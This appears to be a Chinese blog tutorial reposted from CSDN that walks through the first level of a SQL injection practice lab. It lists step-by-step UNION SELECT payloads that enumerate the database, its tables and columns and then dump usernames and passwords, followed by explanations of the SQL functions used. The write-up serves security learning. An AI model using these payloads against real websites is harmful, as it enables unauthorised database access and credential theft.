【SQL注入】Less-1错误型GET单引号字符型注入

Less-1错误型GET单引号字符型注入

什么是单引号字符串型注入?
通过'的报错进行sql查询,并用mysql能输出字符串型的函数,获取我们想要的数据。

漏洞复现过程

在实验室浏览器打开Less-1

1、发现注入点

输入?id=1 正常;

输入?id=1' 报错,就存在sql注入漏洞。

2、猜id=1显示条件中表的字段

例如输入?id=1' order by 3 --+ 显示正常
再次输入?id=1' order by 4 --+ 显示错误
所以的出,在?id=1查看的这个表有3个字段

3、爆开数据库

payload
?id=-1' union select 1,2,database() --+

4、爆开数据表

payload 
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

5、表开数据列(字段)

payload
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

6、爆开数据值

payload
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

函数与要点介绍

1、union select 1,group_concat(table_name),3
?id=0等于我们要查询的表,在实验第一步时候,我们得到该查询的表有3个字段;所以我们在构建select时候,必须满足3个字段条件;
例如:select 1,2,3 那么 group_concat(table_name)表示2;这点有点像数组,你必须规定3个值,才能进行正常的赋值后显示。

2、group_concat()
group_concat函数是典型的字符串连接函数;

3、0x3a
0x3a:16进制的分隔符,比如在爆开数据值使用中(username,0x3a,password)表示(username:password)

4、information_schema
表示存储了数据表tables 列columns的元数据信息;用法:常规的sql查询中from xxx查询的元素或表 where xxx查询的条件;
5、database()
列出数据库的库名;
6、table_schema=database()
累出数据库的表名,这里存在赋值。

以上掌握,接下来的实验,仅提供payload和一些用法分析,我们进行下一步实验

猜你喜欢

转载自blog.csdn.net/Mitchell_Donovan/article/details/115335650
今日推荐